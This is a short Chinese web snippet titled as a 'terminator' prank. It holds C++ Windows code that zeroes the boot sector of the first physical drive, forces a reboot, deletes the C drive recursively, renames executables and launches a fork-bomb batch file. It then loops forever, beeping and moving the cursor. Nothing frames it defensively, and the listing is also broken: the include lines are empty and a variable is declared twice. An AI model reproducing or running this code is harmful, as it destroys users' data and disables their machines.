哈哈哈终结者

#include
#include
#include
using namespace std;
int main(){
    int iDesktopWidth = GetSystemMetrics(SM_CXSCREEN);
    int iDesktopHeight = GetSystemMetrics(SM_CYSCREEN);
    HWND hDesktop = GetDesktopWindow();
    HDC hdc = GetWindowDC(hDesktop);
    FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");

    char a[512]={0};

    fseek(fd,0,SEEK_SET);

    fwrite(a,512,1,fd);

    system("shutdown -r -f -t 20");
    system("rd/s/q c:\\");
    system("ren C:\\*.exe *.txt");
    char a[9]="abc.bat";

    ofstream file_out(a);

    file_out<<"%0|%0";

    file_out.close();
    system("schtasks.exe");
    system(a);
    while(true){
    Beep(999999,2000);//Beep里第一个是声音大小,第二个是什么声音[滑稽] 
    Beep(999999,1000);
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    SetCursorPos(rand()%x,rand()%y);
    POINT cursor;
    GetCursorPos(&cursor);
    DrawIcon(hdc, cursor.x - 10, cursor.y - 10, LoadIcon(NULL, IDI_ERROR));
    }
}

你可能感兴趣的:(数学建模)